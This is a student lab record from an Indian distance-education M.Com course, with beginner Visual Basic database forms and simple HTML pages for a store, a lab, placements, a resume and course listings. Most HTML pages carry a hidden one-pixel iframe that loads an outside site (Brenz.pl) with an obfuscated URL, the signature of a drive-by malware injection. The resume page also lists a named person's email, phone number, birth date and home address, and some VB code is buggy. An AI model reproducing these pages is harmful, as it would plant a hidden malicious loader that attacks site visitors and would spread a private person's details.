BHARATHIAR UNIVERSITY

SCHOOL OF DISTANCE EDUCATION

COIMBATORE – 46.

STUDY CENTRE: TN0607

PACE COMPUTER EDUCATION

ERODE

II Year M.Com COMPUTER APPLICATION

COMPUTER APPLICATION PRACTICAL II

VISUAL BASIC & INTERNET

PRACTICAL LAB

NAME :

ENRL NO:
 BHARATHIAR UNIVERSITY
SCHOOL OF DISTANCE EDUCATION
COIMBATORE – 46.

II Year M.Com COMPUTER APPLICATION

COMPUTER APPLICATION PRACTICAL II

VISUAL BASIC & INTERNET

PRACTICAL LAB

Register No:

This is to certified that a bonafied record of Practical Work done in

the Laboratory at Pace Computer Education.

Staff incharge Co ordinator

Submitted for the practical Examination held at

On Dated

Examiners

INTERNAL EXTERNAL
 INTERNET
1. Departmental store details

2. Practical lab facilities

3. Placement details

4. Resume

5. SDE course offered details

INDEX
S.NO DATE CONTENTS P.NO REMARKS

VISUAL BASIC

1. Student details

2. Payroll system

3. Banking system

4.
Store inventory

5. Library Management System

6. Calculator
 Visual Basic

Student Details
Ex. No.
Date:

Aim

To Create student information systems.

Algorithm

Step 1: Start the process.

Step 2: Design a VB form to get the student details.

Step 3: Create database to store the student details.

Step 4: Design the Data Report to show the students information in particular format.

Step 5: Run the application.

Step 6: Enter the student details.

Step 7: Validate the details and update in the database.

Step 8: Show the students details in data report.

Step 9: Stop the process

CODING:

Private Sub addnew_Click()

Data1.Recordset.addnew
End Sub

Private Sub clear_Click()

rollno.Text = " "
sname.Text = " "
sex.Text = " "
dob.Text = " "
course.Text = " "
Year.Text = " "
contact.Text = " "
address.Text = " "
acc.Text = " "
database.Text = " "
ecommerce.Text = " "
oop.Text = " "
lap1.Text = " "
finacial.Text = " "
ecomics.Text = " "
marketing.Text = " "
vb.Text = " "
lap2.Text = " "
total.Text = " "
avg.Text = " "
result.Text = " "
class = " "
End Sub

Private Sub Command1_Click()

End Sub

Private Sub delete_Click()

Data1.Recordset.delete
End Sub

Private Sub exit_Click()

End
End Sub

Private Sub Form_Load()

rollno.Text = " "
sname.Text = " "
sex.Text = " "
dob.Text = " "
course.Text = " "
Year.Text = " "
contact.Text = " "
address.Text = " "
acc.Text = " "
database.Text = " "
ecommerce.Text = " "
oop.Text = " "
lap1.Text = " "
finacial.Text = " "
ecomics.Text = " "
marketing.Text = " "
vb.Text = " "
lap2.Text = " "
total.Text = " "
avg.Text = " "
result.Text = " "
class = " "
End Sub

Private Sub lap2_Change()

total.Text = Val(acc.Text) + Val(database.Text) + Val(ecomics.Text) + Val(oop.Text) +

Val(lap1.Text) + Val(finacial.Text) + Val(ecommerce.Text) + Val(marketing.Text) +
Val(vb.Text) + Val(lap2.Text)

End Sub

Private Sub report_Click()

DataReport2.Show
End Sub

Private Sub Reulst_Click()

Dim a As Integer
a = (Val(total.Text) / 1000) * 100
avg.Text = a
Select Case a
Case 100 To 80
class.Text = "A"
Case 60 To 79
class.Text = "B"
Case 50 To 59
class.Text = "c"
Case Else
MsgBox "NA"
End Select

If (Val(acc.Text) >= 50 And Val(database.Text) >= 50 And Val(ecomics.Text) >= 50 And

Val(oop.Text) >= 50 And Val(lap1.Text) >= 50 And Val(finacial.Text) >= 50 And
Val(ecommerce.Text) >= 50 And Val(marketing.Text) >= 50 And Val(vb.Text) >= 50 And
Val(lap2.Text) >= 50) Then
result.Text = "pass"
Else
result.Text = "fail"
End If

If result.Text = "fail" Then

class.Text = "NA"
End If

End Sub

Private Sub update_Click()

Data1.Recordset.update
EndSub

OUTPUT:
DATAREPORT:
Payroll System
Ex. No.
Date:

Aim

To Create Payroll systems.

Algorithm

Step 1: Start the process.

Step 2: Design a VB form to get the employee details.

Step 3: Create database to store the employee details.

Step 4: Design the Data Report to show the employee information in particular format.

Step 5: Run the application.

Step 6: Enter the employee details.

Step 7: Validate & calculate the details and update in the database.

Step 8: Show the employee payroll information in data report.

Step 9: Stop the process

CODING:

Private Sub addnew_Click ()

Data1.Recordset.addnew
End Sub

Private Sub basicpay_Change ()

Dim allowance As Integer
Dim deduction As Integer
da.Text = Val (basicpay.Text) * 0.2
ta.Text = Val (basicpay.Text) * 0.1
hra.Text = Val (basicpay.Text) * 0.4
ca.Text = Val (basicpay.Text) * 0.04

lic.Text = Val (basicpay.Text) * 0.02

pf.Text = Val (basicpay.Text) * 0.01
loan.Text = Val (basicpay.Text) * 0.03

Allowance = Val (da.Text) + Val(ta.Text) + Val(hra.Text) + Val(ca.Text)

Deduction = Val (lic.Text) + Val(pf.Text) + Val(loan.Text)
Cross. Text = Val (basicpay.Text) + allowance
netsalary.Text = Val (cross. Text) - deduction
End Sub

Private Sub clear Click ()

empid.Text = " "
empname.Text = " "
basicpay.Text = " "
dept.Text = " "
Contact. Text = " "
emailid.Text = " "
Design. Text = " "
dob.Text = " "
doj.Text = " "
bloodgroup.Text = " "
End Sub
Private Sub deletes Click ()
Data1.Recordset.delete
End Sub
Private Sub edit Click (Index As Integer)
Data1.Recordset.edit
End Sub

Private Sub exit Click (Index As Integer)

End
End Sub
Private Sub update Click ()
Data1.Recordset.update
MsgBox "one record update"
End Sub

Private Sub Command1_Click ()

DataReport1.Show
End Sub

OUTPUT:

DATA REPPORT OUTPUT:

DATAREPORT:
Banking System
Ex. No.
Date:

Aim

To Create Banking systems.

Algorithm

Step 1: Start the process.

Step 2: Design a VB form to get the Account details.

Step 3: Create database to store the Account details.

Step 4: Design the Data Report to show the account information in particular format.

Step 5: Run the application.

Step 6: Enter the account details.

Step 7: Validate & calculate the details and update in the database.

Step 8: Show the account information in data report.

Step 9: Stop the process

CODING:

Private Sub addnew_Click()

Data1.Recordset.addnew
End Sub

Private Sub current_Change()

balance.Text = (Val(current.Text) + Val(doposit.Text)) - Val(draw.Text)
End Sub

Private Sub delete_Click()

Data1.Recordset.delete

End Sub

Private Sub doposit_Change()

balance.Text = (Val(current.Text) + Val(doposit.Text)) - Val(draw.Text)
End Sub

Private Sub draw_Change()

balance.Text = (Val(current.Text) + Val(doposit.Text)) - Val(draw.Text)
End Sub

Private Sub edit_Click()

Data1.Recordset.edit

End Sub

Private Sub exit_Click()

Data1.Recordset.exit

End Sub

Private Sub report_Click()

DataReport1.Show
End Sub

Private Sub update_Click()

Data1.Recordset.update
MsgBox ("one record updated")
End Sub

OUTPUT:
DATAREPORT:
Store Inventory
Ex. No.
Date:

Aim

To Store Inventory systems.

Algorithm

Step 1: Start the process.

Step 2: Design a VB form to get the Product details.

Step 3: Create database to store the Product details.

Step 4: Design the Data Report to show the Product information in particular format.

Step 5: Run the application.

Step 6: Enter the Product details.

Step 7: Validate & calculate the details and update in the database.

Step 8: Show the Product information in data report.

Step 9: Stop the process

CODING:
Private Sub open_Change()

End Sub

Private Sub ADD_Click()

Data1.Recordset.AddNew
End Sub

Private Sub CLR_Click()

id.Text = " "
name.Text = " "
price.Text = " "
date.Text = " "
openi.Text = " "
pur.Text = " "
purreturn.Text = " "
sales.Text = " "
sareturn.Text = " "
stock.Text = " "
reorder.Text = " "
End Sub

Private Sub DEL_Click()

Data1.Recordset.Delete
End Sub

Private Sub EDIT_Click()

Data1.Recordset.EDIT
End Sub

Private Sub EXIT_Click()

End
End Sub

Private Sub openi_Change()

stock.Text = (Val(openi.Text) + Val(pur.Text) + Val(sareturn.Text)) - (Val(sales.Text) +
Val(purreturn.Text))
End Sub

Private Sub pur_Change()

stock.Text = (Val(openi.Text) + Val(pur.Text) + Val(sareturn.Text)) - (Val(sales.Text) +
Val(purreturn.Text))
End Sub

Private Sub purreturn_Change()

stock.Text = (Val(openi.Text) + Val(pur.Text) + Val(sareturn.Text)) - (Val(sales.Text) +
Val(purreturn.Text))
End Sub

Private Sub reorder_Click()

Dim a As Integer
a = stock.Text
If a >= 1000 Then
reorder.Text = "HIGH"
ElseIf a >= 300 Then
reorder.Text = "NORMAL"
Else
reorder.Text = "Please reorder"
End If
End Sub

Private Sub REPORT_Click()

DataReport1.Show
End Sub

Private Sub sales_Change()

stock.Text = (Val(openi.Text) + Val(pur.Text) + Val(sareturn.Text)) - (Val(sales.Text) +
Val(purreturn.Text))
End Sub

Private Sub sareturn_Change()

stock.Text = (Val(openi.Text) + Val(pur.Text) + Val(sareturn.Text)) - (Val(sales.Text) +
Val(purreturn.Text))
End Sub

Private Sub UP_Click()

Data1.Recordset.Update
End Sub

OUTPUT:
DATAREPORT:
Library Management System
Ex. No.
Date:

Aim

To Create Library Management system.

Algorithm

Step 1: Start the process.

Step 2: Design a VB form to get the books and student details.

Step 3: Create database to store the books details.

Step 4: Design the Data Report to show the books information in particular format.

Step 5: Run the application.

Step 6: Enter the Book details.

Step 7: Validate & calculate the details and update in the database.

Step 8: Show the Book information in data report.

Step 9: Stop the process

CODING:
Private Sub Command1_Click()
Data1.ad
End Sub

Private Sub addnew_Click()

Data1.Recordset.addnew
End Sub

Private Sub delete_Click()

Data1.Recordset.delete
End Sub

Private Sub edit_Click()

Data1.Recordset.edit
End Sub

Private Sub exit_Click()

End
End Sub

Private Sub initialavalable_Change()

If borrow.Value = True Then
currentavailable.Text = Val(initialavalable.Text) + Val(newpurchase.Text) -
Val(noofbooks.Text)
ElseIf return1.Value = True Then
currentavailable.Text = Val(initialavalable.Text) + Val(newpurchase.Text) +
Val(noofbooks.Text)
End If

End Sub

Private Sub newpurchase_Change()

If borrow.Value = True Then
currentavailable.Text = Val(initialavalable.Text) + Val(newpurchase.Text) -
Val(noofbooks.Text)
ElseIf return1.Value = True Then
currentavailable.Text = Val(initialavalable.Text) + Val(newpurchase.Text) +
Val(noofbooks.Text)
End If

End Sub

Private Sub noofbooks_Change()

If borrow.Value = True Then
currentavailable.Text = Val(initialavalable.Text) + Val(newpurchase.Text) -
Val(noofbooks.Text)
ElseIf return1.Value = True Then
currentavailable.Text = Val(initialavalable.Text) + Val(newpurchase.Text) +
Val(noofbooks.Text)
End If
End Sub

Private Sub report_Click()

DataReport1.Show
End Sub

Private Sub update_Click()

Data1.Recordset.update
End Sub

OUYPUT:
DATAREPORT:
 Calculator
Ex. No.
Date:

Aim

To create Calculator

Algorithm

Step 1: Start the process.

Step 2: Design a VB form to get the numbers from the user

Step 3: Run the application.

Step 4: Get the numbers from the user

Step 5: Calculate the numbers

Step 6: Show the Result

Step 7: Stop the process

CODING:
Dim t As Double
Dim s As String
Private Sub cl_Click()
Text1.Text = ""
End Sub

Private Sub Command1_Click(Index As Integer)

Text1.Text = Text1.Text + Command1(Index).Caption
End Sub

Private Sub Command2_Click(Index As Integer)

Select Case Command2(Index).Caption
Case "+"
t = Text1.Text
Text1.Text = ""
s = "+"
Case "-"
t = Text1.Text
Text1.Text = ""
s = "-"
Case "*"
t = Text1.Text
Text1.Text = ""
s = "*"
Case "/"
t = Text1.Text
Text1.Text = ""
s = "/"
Case "="
Select Case s
Case "+"
Text1.Text = Val(t) + Val(Text1.Text)
Case "-"
Text1.Text = Val(t) - Val(Text1.Text)
Case "/"
Text1.Text = Val(t) / Val(Text1.Text)
Case "*"
Text1.Text = Val(t) * Val(Text1.Text)
End Select
End Select
End Sub

OUTPUT:
 INTERNET

Departmental Store Details

Ex. No.
Date:

Aim

To create departmental store details using HTML

Algorithm

Step 1: Start the process.

Step 2: Using table tags design the application

Step 3: Show all the details in

Step 4: Design the Data Report to show the books information in particular format.

Step 5: Run the application.

Step 6: Enter the Book details.

Step 7: Validate & calculate the details and update in the database.

Step 8: Show the Book information in data report.

Step 9: Stop the process

CODING:
 <html>
<head>
<title>Departmental store</title>
<body>
<table border>
<h3>Team Departmental Store
<h4>No.17,KCK street,Erode.
<tr><th>Prouct ID</th><th>Prouct Name</th><th>MRF date</th><th>Expiry
date</th><th>Stock</th><th>Price(Rs)</th></tr>
<tr><td>A</td><td>goldwinner
oil</td><td>07/08/2009</td><td>07/11/2009</td><td>100ml*20</td><td>12.00</td></tr>
<tr><td>B</td><td>Tiger
biscut</td><td>12/08/2009</td><td>12/11/2009</td><td>100gm*20</td><td>06.00</td></tr>
<tr><td>C</td><td>pepesi</td><td>05/10/2010</td><td>05/01/2011</
td><td>500ml*20</td><td>22.00</td></tr>
<tr><td>D</td><td>milk</td><td>07/08/2012</td><td>08/08/2012</
td><td>100ml*20</td><td>06.00</td></tr>
<tr><td>E</td><td>Ponds
powder</td><td>10/08/2009</td><td>10/02/2010</td><td>100gm*10</td><td>05.00</td></
tr>
</table>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>
</html>

OUTPUT:
 Lab Details

Ex. No.
Date:

Algorithm

Aim: To display the lab details in a web page

Step 1: Design the web page using HTML tags

Step 2: Show the details in table

Step 3: Execute the program

Step 4: Stop the program

CODING:
<HTML>
<HEAD>
<TITLE>LAB DETAIES</TITLE>
<BODY>
<CENTER>
<H3>BHARATHIAR UNIVERSITY COAMPATORE</H3>
<H4>SCHOOL OF DISTANCE EDICATION<H4>
<H5>COAMBATORE</H5>
<HR>
<H4><U>LAB DETAILS</U></H4>
</CENTER><br>
Lab having well equipped bettween h/w and s/w are available.
<PRE>
<U>H/W DETAILS:</U>
S.NO PARTNAME QTY

1 NO OF SYSTEM 2

2 HARD DISK 500GB

3 RAM 4GB

4 MONITOR 17 INCH

5 CACHE MEMORY 256KB

6 USB PORT 4

7 101 MULTIMEDIA
KEYBOARD

<U>NODE:</U>
<OL>
NO OF SYSTEM 60

HARD DISK 360GB

RAM 2GB

MONITER 17INCH

CACH MEMORY 128KB

OPTICAL MOUSE

101 MULTIMEDIA
KEYBOARD
<U>INTERNET FACILITY:</U>

8MBS Leased line Bradband BSNL Netconection.

<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0

width=1></iframe>
</BODY>
</HTML>

OUTPUT:
 Placement Details

Ex. No.
Date:

Algorithm

Aim: To create a web page and show placement achievements

Step 1: Design the web page using HTML tags

Step 2: Create the table by using tags

Step 3: Show the details in table

Step 4: Create a link page and display it when the particular company is clicked

Step 5: Execute the program

Step 6: Stop the program

CODING:
<html>
<head>
<title>campus</title>
<body>
<center>
<h2>Bharathiar university coimbatore</h2>
<h3>School of distance</h3>
<h4>Placement Achievement </h4>
</center><br>
<hr>
<p>
<ol>
<lh><h3>On campus placed</h3>
<br>
<li>TCS
<li>CTS
<li>WIPRO
<li>HP
<li>HCC
<li>Sathyam
</ol>
<p>
<ul>
<lh><h3>Off campus placed</h3>
<br>
<li>Hexaware
<li>Souther land
</ul>
Totally 60 students of our departement have been placed through various companies in the good
package.
The list of companies where our students placed in above channels.
More details:
<a href="CTS.html">CTS</A>,<A href="WIPRO.html">WIPRO</A>,<A
href="TCS.html">TCS</A>

</body>
</html>

<html>
<head>
<title>TCS</title>
</head>
<h3>TCS</h3>
<table border>
<tr><th>S.No</th><th>Name</th><th>Package</th><th>Designation</th><th>join date</th>

<tr><td>1</td><td>Karthi</td><td>3lakhs</td><td>Software
enginer</td><td>12.9.2007</td></tr><br>
<tr><td>2</td><td>Shobana</td><td>2.5lakhs</td><td>Programmer</td><td>26.5.2002</
td></tr><br>
<tr><td>3</td><td>Krishna</td><td>5lakhs</td><td>Office
Assistant</td><td>08.6.1998</td></tr><br>
<tr><td>4</td><td>Arun</td><td>3.2lakhs</td><td>Manager</td><td>25.8.2004</td></
tr><br>
<tr><td>5</td><td>Kavitha</td><td>4lakhs</td><td>Officer</td><td>1.5.2001</td></tr><br>
</table>

</body>
</html>

<html>
<head>
<title>TCS</title>
</head>
<h3>CTS</h3>

<table border>
<tr><th>S.No</th><th>Name</th><th>Package</th><th>Designation</th><th>join date</th>

<tr><td>1</td><td>Karthi</td><td>3lakhs</td><td>Software
enginer</td><td>12.9.2007</td></tr><br>
<tr><td>2</td><td>Shobana</td><td>2.5lakhs</td><td>Programmer</td><td>26.5.2002</
td></tr><br>
<tr><td>3</td><td>Krishna</td><td>5lakhs</td><td>Office
Assistant</td><td>08.6.1998</td></tr><br>
<tr><td>4</td><td>Arun</td><td>3.2lakhs</td><td>Manager</td><td>25.8.2004</td></
tr><br>
<tr><td>5</td><td>Kavitha</td><td>4lakhs</td><td>Officer</td><td>1.5.2001</td></tr><br>
</table>
<A href="title.html">Back</a>

</body>
</html>

<html>
<head>
<title>campus</title>
<body>
</body>
</html>

<html>
<head>
<title>campus</title>
<boby>
<p>
<ol>
<lh>Off campus placed
<br>
<li>Hard ware
<li>Souther land
</ol>
</body>
</html>

<html>
<head>
<title>TCS</title>
</head>
<h3>TCS</h3>
<table border>
<tr><th>S.No</th><th>Name</th><th>Package</th><th>Designation</th><th>join date</th>
<tr><td>1</td><td>Karthi</td><td>3lakhs</td><td>Software
enginer</td><td>12.9.2007</td></tr><br>
<tr><td>2</td><td>Shobana</td><td>2.5lakhs</td><td>Programmer</td><td>26.5.2002</
td></tr><br>
<tr><td>3</td><td>Krishna</td><td>5lakhs</td><td>Office
Assistant</td><td>08.6.1998</td></tr><br>
<tr><td>4</td><td>Arun</td><td>3.2lakhs</td><td>Manager</td><td>25.8.2004</td></
tr><br>
<tr><td>5</td><td>Kavitha</td><td>4lakhs</td><td>Officer</td><td>1.5.2001</td></tr><br>
</table>

</body>
</html>

OUTPUT:
Qualification Details
Ex. No.

Date:

Algorithm

Aim: To create a web page and show academic qualification of the student

Step 1: Design the web page using HTML tags

Step 2: Create the table by using tags

Step 3: Show the individual students details in a web page

Step 4: Execute the program

Step 5: Stop the program

CODING:

<html>
<head>
<title>center tag </title>
<body>
<center> RESUME </center>
<Pre> A.CHITRADEVI <br>
ccdeviam297@gmail.com<br>
9629052188
</pre>
<hr>
<pre>
Name :A.CHITRA DEVI
Father's name :K.ARUMUGAM
Sex :FEMALE
DOB :29.04.1990
21
Blood group :B+
Address :47,INDRA NAGAR,
(communication) CHITTODE(PO),-638102
ERODE(DT).

Address : as to above<br>
(permanent)
EDUCATIONAL QUALIFICATION:
<table border>
<tr><th>s.no</th><th>course</th><th>school/ college name</th><th>board/university name
</th>
<th>programe</th><th>month and year of passing</th><th>% of mark</th><th>class</th></tr>

<tr><td>1</td><td>PG</Td><td>SDE</td><td>Bharathiar
University</td><td>M.COM(CA)</td>
<td>DECEMBER '2012</td><td>66%</td><td>I</td></tr>

<tr><td>2</td><td>UG</Td><td>Sri Vasavi College</td><td>Bharathiar

University</td><td>B.COM</td>
<td>DECEMBER '2010</td><td>65%</td><td>I</td></tr>

<tr><td>3</td><td>HSC</Td><td>G.G.H.S.School</td><td>Central
Board</td><td>COMMERCE AND TYPEWRITING</td>
<td>DECEMBER '2007</td><td>63%</td><td>I</td></tr>

<tr><td>4</td><td>SSLC</Td><td>G.G.H.School</td><td>Central
Board</td><td>SSLC</td>
<td>DECEMBER '2005</td><td>63%</td><td>I</td></tr>
</table><br>

<Pre>OTHERS:
 Language known: Tamil :<input type="checkbox"name="read">read<input
type="checkbox"name="write">write<input type="checkbox"name="speech">speech
English :<input type="checkbox"name="read">read<input
type="checkbox"name="write">write<input type="checkbox"name="speech">speech
Hindi :<input type="checkbox"name="read">read<input
type="checkbox"name="write">write<input type="checkbox"name="speech">speech
</pre>

COMPUTER SKILLS:
MS-OFFICE
TALLY

DECLARATION:
I here by declared all the above data with my best of knowldege

Date : Your's faithfully

Place : (A.CHITRADEVI)

<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0

width=1></iframe>
</body>
</head>

Output:
 Course Details

Ex. No.
Date:
Algorithm

Aim: To create a web page and show course details of SDE

Step 1: Design the web page using HTML tags

Step 2: Create the individual web pages based on course category

Step 3: Design the main web page and connect all the links using link tag

Step 4: Execute the program

Step 5: Click the course and it will show the course details

Step 6: Stop the program

CODING:
<html>
<head>
<title> diploma</title>
<body>
<p>
<ul>

<lh>programm
<br>
<li>diploma in astrology
<li>diploma in libraryscience
<li>diploma in yoha
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>
</html>

<html>
<head>
<title>others</title>
<body>
<p>
<ul>

<lh>programm
<br>
<li>b.ed
<li>m.ed
<li>m.p.t.ed
<li>m.sc(library science)
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>
</html>

<html>
<head>
<title> bharathiar university</title>
</head>
<frameset rows ="30%,70%">
<frame src ="C:\Users\Admin\Desktop\fin\devi\top.html">
<frameset cols ="20%,80%">
<frame src ="C:\Users\Admin\Desktop\fin\devi\side.html">
<frame src ="C:\Users\Admin\Desktop\fin\devi\right.html"name=f3>
</frameset>
</html>

<html>
<head>
<title>pg courses</title>
<body>
<p>
<ol>
<lh>programm
<br>
<li>m.com
<li>m.com (ca)
<li>m.b.a
<li>m.a (tamil)
<li>m.a (english)
<li>m.sc(history)
<li>m.sc(maths)
<li>m.sc(physics)
<li>m.sc(chemistery)
</li>
</ol>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>

</html>

<html>
<head>
<body></title>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>
</head>
</html>

<html>
<head>
<body>
courses<br>
<hr>
<a href="ug.html" target="f3">ug<br>
<a href="pg.html" target="f3">pg<br>
<a href="diploma.html" target="f3">diploma<br>
<a href="others.html" target="f3">others<br>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>
</html>
<html>
<head>
<title>course offered</title>
<body>
<center>
<h3>BHARATHIAR UNIVERSITY COIMBATORE</H1>
<h4>school of distance education</h2>
<h5>course offered</h3>
</center>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>
</html>

<html>
<head>
<title> ug courses</title>
<body>
<p>
<ol>
<lh>programm
<br>
<li>b.com
<li>b.com(ca)
<li>b.sc(cs)
<li>bosc(ct)
<li>b.a(tamil)
<li>b.a(english)
<li>b.c.a
</lp>
</ol>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0
width=1></iframe>
</body>

</html>

OUTPUT